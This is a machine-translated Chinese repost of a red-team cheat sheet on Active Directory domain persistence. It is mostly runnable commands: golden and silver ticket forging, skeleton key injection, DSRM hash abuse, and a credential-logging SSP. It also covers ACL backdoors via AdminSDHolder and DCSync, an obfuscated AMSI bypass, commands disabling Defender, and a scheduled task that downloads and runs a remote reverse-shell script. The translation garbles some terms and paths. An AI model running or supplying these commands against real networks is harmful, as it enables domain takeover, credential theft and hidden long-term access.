开卷有益 · 不求甚解
介绍
欢迎阅读我在红队系列中的第五篇文章(Active Directory 域持久化)。希望大家看完本系列前几篇文章,了解所需的基本概念、高级域枚举讲解、AD/Windows本地权限提升指南和AD横向移动。
如果不是这样,您可以从这里阅读。
本指南主要通过创建金票、银票、万能钥匙、DSRM 和多个 ACL 攻击来详细解释 Active-Directory 域持久化。我还将解释每个 pentester/red-teamer 应该控制的术语,以了解在 Active Directory 网络中执行的攻击。您也可以将此称为备忘单。
我将继续使用新的域持久化方法更新本文。
在整篇文章中,我将使用Invoke-Mimikatz在 Windows/Active Directory 域上执行持久性。如果需要任何其他工具,它们将在最后提及。
kerberos 系统是如何工作的?
让我们从上图中分解每一步,了解主机系统和域控制器之间的系统和身份验证是如何发生的。我希望您已经了解 Active Directory 环境中的基本角色和功能。有了这个,让我们开始吧。
1. 客户向 KDC 请求 TGT
-
特权用户想要从应用程序或启用 Kerberos 的服务器访问特定服务。 -
用户向 KDC 发送时间戳,该时间戳使用用户密码的 NTLM 哈希进行加密和签名。 -
KDC 需要以下内容来验证请求是否来自它声称的用户。
2. KDC 发送 TGT 给 Client
-
KDC 接收并解密加密的时间戳。 -
KDC 确保请求来自它声称的用户,并使用可以授予另一个票证的票证授予票证 (TGT) 进行响应。 -
发送的 TGT 使用 KRBTG 的 NTML 散列进行加密和签名,KRBTG 是 KDC 的一个特定帐户,仅用于此目的。这意味着 TGT 只能由 KRBTG 读取和打开。
3. 客户对 TGS 的请求
-
客户端收到 TGT,将其发送回 DC 并请求 Ticket Granting Service (TGS) 服务。 -
KDC 接收 TGS,对其进行解密并执行以下验证。 -
它所做的唯一验证是它是否可以解密 TGT。如果可能,它假定 TGT 中的所有内容都是有效的。对于发送到 KDC 的任何 TGT 请求,此验证最多持续20 分钟。
4. KDC 发送带有加密会话的 TGS
-
一旦 TGT 被解密,KDC 就会用 TGS 进行响应。注意:KDC 除了特权角色证书(PRG)之外没有其他角色 -
从 KDC 发送的 TGS 使用用户从应用程序或启用 Kerberos 的服务器请求的服务的 NTML 散列进行加密。这意味着 TGT 只能由应用程序服务器读取和打开。
5. 客户端发送服务票据
-
客户端连接到应用程序服务器并呈现它从 KDC 接收到的用于其请求服务的 TGS。 -
由于 TGS 是使用服务帐户的 NTML 哈希加密的,因此它会解密 TGS,然后决定用户是否可以访问该服务。
6. Application Server 将时间戳发送给客户端
-
客户端从应用服务器接收它请求的服务。 -
客户端和应用程序服务器之间存在相互身份验证,因此合法客户端最终不会将 TGS 发送到恶意应用程序服务器。
要记住的重要点
-
Kerberos RC4 加密的 NTLM 密码哈希。 -
登录票证 (TGT) 为 DC 提供用户身份验证。 -
Kerberos 策略仅在创建 TGT 时检查。 -
DC 仅在 TGT > 20 分钟时验证用户帐户。 -
服务票 (TGS) PAC 验证是可选的且很少见。这是直接在 KDC 和应用程序服务器之间进行的验证检查。 -
服务器 LSASS 向 DC 的 netlogon 服务 (NRPC) 发送 PAC 验证请求 -
如果它作为服务运行,PAC 验证是可选的(禁用) -
如果服务作为 System 运行,它会在 PAC(计算机帐户长期密钥)上执行服务器签名验证。
现在,这些是 Kerberos 系统通常如何工作的步骤。攻击者可以滥用上述步骤中的每一步来获取利润。我假设您可以访问域控制器并且只需要持久性。既然您现在了解了 Kerberos 系统的工作原理,我们就可以开始讨论如何滥用这些步骤。
金票
-
我们将在金票的帮助下滥用 Kerberos 系统的第三步。 -
Golden Ticket 由 KRBTGT 帐户的哈希签名和加密,使其成为有效的 TGT 票。 -
由于域控制器(KDC 服务)直到 TGT 超过 20 分钟才完成用户帐户验证,因此我们甚至可以使用已删除/撤销的帐户。 -
krbtgt 用户哈希可用于模拟任何具有来自非域计算机的任何特权的用户。 -
密码更改对此攻击没有影响。
方法/步骤
-
1.使用**"Over pass the hash"攻击以"域管理员"**身份获取 Powershell 会话
-
创建一个New-PSSession附加到**"域控制器"** -
3. 使用Enter-PSSession进入新会话
-
4.绕过AMSI
-
退出 -
6.使用Invoke-command在新会话上加载Mimikatz.ps1
-
7.再次使用Enter-PSSession 进入新会话
-
现在我们可以在 DC 上执行 mimikatz -
记下krbtgt哈希 -
10.现在转到任何**"非域管理员"**帐户
-
加载Mimikats.ps1 -
12. 现在我们可以使用 DC krbtgt哈希创建票证
-
ls \dc-corpC$
或
PsExec64.exe \adminsys.star.castle.local -u staradminsys -p passwordhere cmd
-
现在我们可以访问 DC 上的任何服务了。示例
Invoke-Mimikatz
1.禁用后卫
Set-MpPreference -DisableRealtimeMonitoring $true
2.AMSI绕过
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{O}"-F'F', 'rE' ) ) 3; ( GeT-VariaBle ( "1Q2U" + "zX" ) -VaL_s+)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{@}{5}" -f'Util', 'A', 'Amsi','.Management.', 'utomation.','s', 'System' ))."g`etf`iE1D"( ( "{O}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{O}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
3、在DC上作为DA执行mimikatz得到krbtgt hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <computer-name>
4. 在任意机器上创建一张票("pass the ticket"攻击)
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain-name-goes-here /sid:sid-goes-here /krbtgt:hash-goes-here id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
/ptt : 在当前 Powershell 进程中注入票证/磁盘上没有票证**/ticket** : 将票证保存到文件以供以后使用**/startoffset** : 根据域策略使用**(Get-DomainPolicy -domain)放置适当的偏移值moneycorp.local)."kerberos policy"**否则会话可能会被阻止/未创建
5. 列出可用的 Kerberos 服务
klist
额外的命令
要使用 DCSync 功能获取 krbtgt 哈希,请以 DA 权限执行以下命令
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorpkrbtgt"'
使用 DCSync 选项无需在目标 DC 上执行代码(无需运行 Invoke-Mimikatz)
使用 KRBTGT 的 NTML 哈希创建黄金票
-
需要 DA privs,这可以通过使用 over-pass-the-hash 以域管理员身份启动 PowerShell 会话来完成。 -
向域控制器输入 PSSession 并转储哈希。
# Enter session
powershell -ep bypass
$sess = New-PSSession -ComputerName <computer-name>
Enter-PSSession $sess
# Bypass Protections
[star-dc]:PS> Set-MpPreference -DisableRealtimemonitoring $true
[star-dc]:PS> Set-MpPreference -DisableIOAVProtection $true
# exit PSRemote session
exit
# Get the KRBTGT hash
Invoke-Command -FilePath .Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession $sess
[star-dc]:PS> Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
[star-dc]:PS> Invoke-Mimikatz
-
现在在任何机器上,即使它不是域的一部分但可以通过网络到达 DC,我们可以使用来自 krbtgt 哈希的信息来创建黄金票。
#Note the admin SID
. .PowerView.ps1
Get-DomainSID -Administrator
#Load the krbtgt hash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain-name-here /sid:admin-sid-here /krbtgt:krbtg-hash-here id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
-
现在我们可以探索 DC 文件系统并执行 WMI 命令
ls \star-dcC$
gwmi -Class win32_computersystem -ComputerName star-dc
银票
-
我们将在银票的帮助下滥用 Kerberos 系统的第 5 步。 -
有效的 TGS(金票是 TGT)。 -
由使用该帐户运行的服务的服务帐户的 NTLM 哈希加密和签名(黄金票证由 krbtgt 的哈希签名)。 -
服务很少检查 PAC(特权属性证书)。 -
服务将只允许访问服务本身。 -
合理的持久期(计算机帐户默认为 30 天)。
SPN 列表:https://adsecurity.org/?page_id=183
方法/步骤
-
1.使用**"Over pass the hash"攻击以"域管理员"**身份获取 Powershell 会话 -
创建一个New-PSSession附加到**"域控制器"** -
3. 使用Enter-PSSession进入新会话 -
4.绕过AMSI -
退出 -
6.使用Invoke-command在新会话上加载Mimikatz.ps1 -
7.再次使用Enter-PSSession 进入新会话 -
现在我们可以在 DC 上执行 mimikatz -
记下krbtgt哈希 -
使用rc4哈希请求访问DC的服务 -
安排和执行任务
Invoke-Mimikatz
1、在DC上作为DA执行mimikatz得到krbtgt hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
2. 使用域控制器计算机帐户的哈希,以下命令提供对 DC 上共享的访问权限
Invoke-Mimikatz -Command '"kerberos::golden /domain:star-dc /sid:admin-sid-here /target:star-dc /service:CIFS /rc4:rc4-hash-here /user:Administrator /ptt"'
3. 安排和执行任务
schtasks /create /S star-dc /SC Weekly /RU "NT AuthoritySYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.10:8080/Invoke-PowerShellTcp.psi''')'"
schtasks /Run /S star-dc /TN "STCheck"
为了访问 WMI,我们必须创建两张票:一张用于 HOST 服务,另一张用于 RPCSS
万能钥匙
-
万能密钥是一种持久性技术,可以在其中修补域控制器(Lsass 进程),以便它允许使用单个密码的任何用户进行访问。 -
该攻击是由 Dell Secureworks 在名为 Skeleton Key 恶意软件的恶意软件中发现的。 -
所有公知的方法在重新启动后都不会持久。
方法/步骤
-
1.在DC中注入万能钥匙 -
2.现在我们可以使用密码访问任何机器 mimikatz
Invoke-Mimikatz
1.使用以下命令注入一个skeleton-Key
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton' -ComputerName <computer-name>
万能钥匙密码为:mimikatz
2.现在我们可以访问任何具有有效用户名和密码的机器作为mimikatz
Enter-PSSession -Computername <computer-name> -credential dcorpAdministrator
额外的命令
LSASS 作为受保护进程运行
如果 Lsass 作为受保护进程运行,我们仍然可以使用 Skeleton Key,但它需要目标 DC 磁盘上的 mimikatz 驱动程序 (mimidriv.sys)
mimikatz # privilege::debug mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # misc::skeleton mimikatz # !-
以上在日志中会非常嘈杂 - 服务安装(内核模式驱动程序)
目录服务还原模式 (DSRM)
-
DSRM 是目录服务还原模式 -
每个 DC 上都有一个名为"Administrator"的本地管理员,其密码是 DSRM 密码 -
将服务器提升为域控制器并且很少更改时需要DSRM 密码 ( SafeModePassword ) -
更改 DC 上的配置后,可以传递此用户的 NTLM 哈希来访问 DC。
方法/步骤
-
从 DC 的 SAM 文件中提取凭据 -
更改 DSRM 帐户的登录行为 -
3.通过DSRM管理员的Hash并登录
Invoke-Mimikatz
1.转储DSRM密码(需要DA privs)
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc
2.将管理员哈希与以下命令的管理员哈希进行比较
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
如果使用**/patch的管理员的NTML哈希与使用DSRM 转储**的管理员的 NTML 哈希不同,则它是 DSRM 本地管理员的正确哈希
3. 添加/编辑 DSRM 帐户的登录行为
由于是DC的本地管理员,我们可以通过hash来进行认证。但是,需要更改 DSRM 帐户的登录行为,然后才能使用其哈希值
#Get a session as the DC
Enter-PSSession -Computername dcorp-dc
#check DSRM property
Get-ItemProperty "HKLM:SystemCurrentControlSetControlLsa"
#If DSRMAdminLognonBehariour attribute not created then create and set
New-ItemProperty "HKLM:SystemCurrentControlSetControlLsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Verbose
#If already present but wrong value , then update
Set-ItemProperty -Name "DsrmAdminLogonBehavior" -Value 2
4.使用以下命令传递哈希
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:dsrm-hash-goes-here /run:powershell.exe"'
5. 现在我们可以在 DC 上运行命令了
ls \dcorp-dcc$
自定义安全支持提供程序 (SSP)
安全支持提供程序 (SSP) 是一个 DLL,它为应用程序提供获取经过身份验证的连接的方法。Microsoft 的一些 SSP 包是
-
NTLM -
Kerberos -
文摘 -
信用证
Mimikatz 提供了一个自定义的 SSP——mimilib.dll。SSP 日志从机器的下一次重新启动开始。此 SSP 在目标服务器上以明文形式记录本地登录、服务帐户和计算机帐户密码。
Mimikatz(如何设置 SSP)
方法一
将 mimilib.dll 拖放到 system32 并将 mimilib 添加到"HKLMSYSTEMCurrentControlSetControlLsaSecurity Packages"
$packages = Get-ItemProperty HKLM:SYSTEMCurrentControlSetCcontrolLsaOSconfig -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:SYSTEMCurrentControlSetcontrolLsaOSconfig -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:SYSTEMCurrentControlSetcontrolLsa -Name 'Security Packages' -Value $packages
方法二
使用 mimikatz,注入 Isass(在 Server 2016 上不稳定):
Invoke-Mimikatz -Command '"misc::memssp"'
现在您可以查看所有带有凭据的本地登录日志
C:WindowsSystem32kiwissp.log
ACL - AdminSDHolder
-
驻留在域的系统容器中,用于控制某些内置特权组(称为受保护组)的权限 - 使用 ACL。 -
安全描述符传播器 (SDPROP) 每小时运行一次,并将受保护组和成员的 ACL 与 AdminSDHolder 的 ACL 进行比较,任何差异都将覆盖在对象 ACL 上。
Invoke-SDPropagator
手动运行 SDProp
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
对于 Pre-Server 2008 机器
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose
Powerview(DEV 分支)
将用户的完全控制权限添加到 AdminSDHolder
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose
用户对 AdminSDHolder 的其他有趣权限(重置密码、写入成员)
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights WriteMembers -Verbose
检查域管理员权限
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}
滥用 ResetPassword/ForceChangePassword
Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose
使用其他用户的信用滥用 ForceChangePassword
Import-Module .PowerView_dev.ps1
#Setting password for runas user for
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
#Setting password for runas user for
$Cred = New-Object System.Management.Automation.PSCredential('Domain-Name-HereUser-here', $SecPassword)
#Set new password fot the user where you can abuse ForceChangePassword
$UserPassword = ConvertTo-SecureString 'Password1!' -AsPlainText -Force
#Update the password for that user
Set-DomainUserPassword -Identity User-Whose-Password-You-Want-To-Change-here -AccountPassword $UserPassword -Crendential $Cred
获取通用所有访问权限
导入ADModule并将SDPropagator PS脚本设置在同一路径文件夹中
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose
$sess = New-PSSession -Computername star-dc.root.local
Invoke-Command -FilePath ".Invoke-SDPropagator.ps1" -Session $sess
Enter-PSSession -Session $sess
[star-dc.root.local]:PS> Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
现在,如果我们检查用户的权限,他应该拥有通用所有访问权限
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}
滥用通用-所有访问
滥用完全控制
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user1' -Verbose
ACL - DCSync
-
还有更多有趣的 ACL 可以被滥用。 -
例如,使用 DA 权限,可以修改域根的 ACL 以提供有用的权限,如 FullControl 或运行"DCSync"的能力。
方法/步骤
-
1.检查用户是否有PowerView的复制权限 -
如果用户没有复制权限,请从域管理员 shell 添加他们 -
获取 krbtgt 或我们想要的任何其他用户的哈希值
PowerView
1. 为 DCSync 添加权限
Add-ObjectAcl -TargetDistinguishedName 'DC=domain,DC=local' -PrincipalSamAccountName student1 -Rights DCSync -Verbose
Invoke-Mimikatz
2. 执行 DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorpkrbtgt"'
ACL - 安全描述符
-
可以修改多个远程访问方法(安全对象)的安全描述符(安全信息,如所有者、主要组、DACL 和 SACL)以允许非管理员用户访问。
-
为此需要管理权限。
-
当然,它是一种非常有用且影响深远的后门机制。
-
安全描述符定义语言定义了用于描述安全描述符的格式。SDDL 对 DACL 和 SACL 使用 ACE 字符串:
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
-
ACE 用于 WMI 命名空间的内置管理员
A;Cl;CCDCLCSWRPWPRCWD;;;SID
文档:https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings?redirectedfrom=MSDN
方法/步骤
-
一旦我们拥有了机器的管理权限,我们就可以修改服务的安全描述符来访问没有管理权限的服务。
设置远程WMI
1. 在本地机器上为 userX
Set-RemoteWMI -UserName userX -Verbose
2. 在没有明确凭据的 userX 的远程机器上
Set-RemoteWMI -UserName userX -ComputerName <computer> -namespace 'rootcimv2' -Verbose
3.现在我们可以执行WMI命令了
Get-WmiObject -Class win32_operatingsystem -ComputerName <computer>
4. 在具有显式凭据的远程计算机上。只有 rootcimv2 和嵌套命名空间
Set-RemoteWMI -UserName userX -ComputerName <computer> -Credential Administrator -namespace 'rootcimv2' -Verbose
5.在远程机器上删除权限
Set-RemoteWMI -UserName userX -ComputerName <computer> -namespace 'rootcimv2' -Remove -Verbose
Set-RemotePSRemoting
1. 在本地机器上为 userX
Set-RemotePSRemoting -UserName userX -Verbose
2.现在我们可以通过Invoke-Command来执行****ScriptBlock命令
Invoke-Command -ScriptBlock {whoami} -ComputerName <computer>
3. 在没有凭据的用户X 的远程机器上
Set-RemotePSRemoting -UserName userX -ComputerName <computer> -Verbose
4.在远程机器上,删除权限
Set-RemotePSRemoting -UserName userX -ComputerName <computer> -Remove
Add-RemoteRegBackdoor
1. 使用 DAMP,在远程机器上具有管理员权限
Add-RemoteRegBackdoor -ComputerName <computer> -Trustee user1 -Verbose
远程哈希检索
2.作为student1,检索机器账号hash
Get-RemoteMachineAccountHash -ComputerName <computer> -Verbose
如果出错,将脚本中的 InitV
3 .检索本地帐户哈希
Get-RemoteLocalAccountHash -ComputerName <computer> -Verbose
4.检索域缓存的凭据
Get-RemoteCachedCredential -ComputerName <computer> -Verbose
使用的工具
-
Invoke-Mimikatz 从这里下载:Invoke-Mimikatz -
PowerView 从这里下载:powerview.ps1 -
PowerView Dev 从这里下载:powerview.ps1 -
Set-RemoteWMI 从这里下载:Set-RemoteWMI.ps1 -
Set-RemotePSRemoting 从这里下载:Set-RemotePSRemoting.ps1 -
Add-RemoteRegBackdoor 从这里下载:Add-RemoteRegBackdoor.ps1 -
RemoteHashRetrieval 从这里下载:RemoteHashRetrieval.ps1
译文申明
-
文章来源为 近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。 -
开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。 -
译文仅供参考
,具体内容表达以及含义,以原文为准
(译文来自自动翻译) -
如英文不错的, 尽量阅读原文
。(点击原文跳转) -
每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams
原文始发于微信公众号(甲方安全建设):基础学习 | Active Directory - 域持久化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论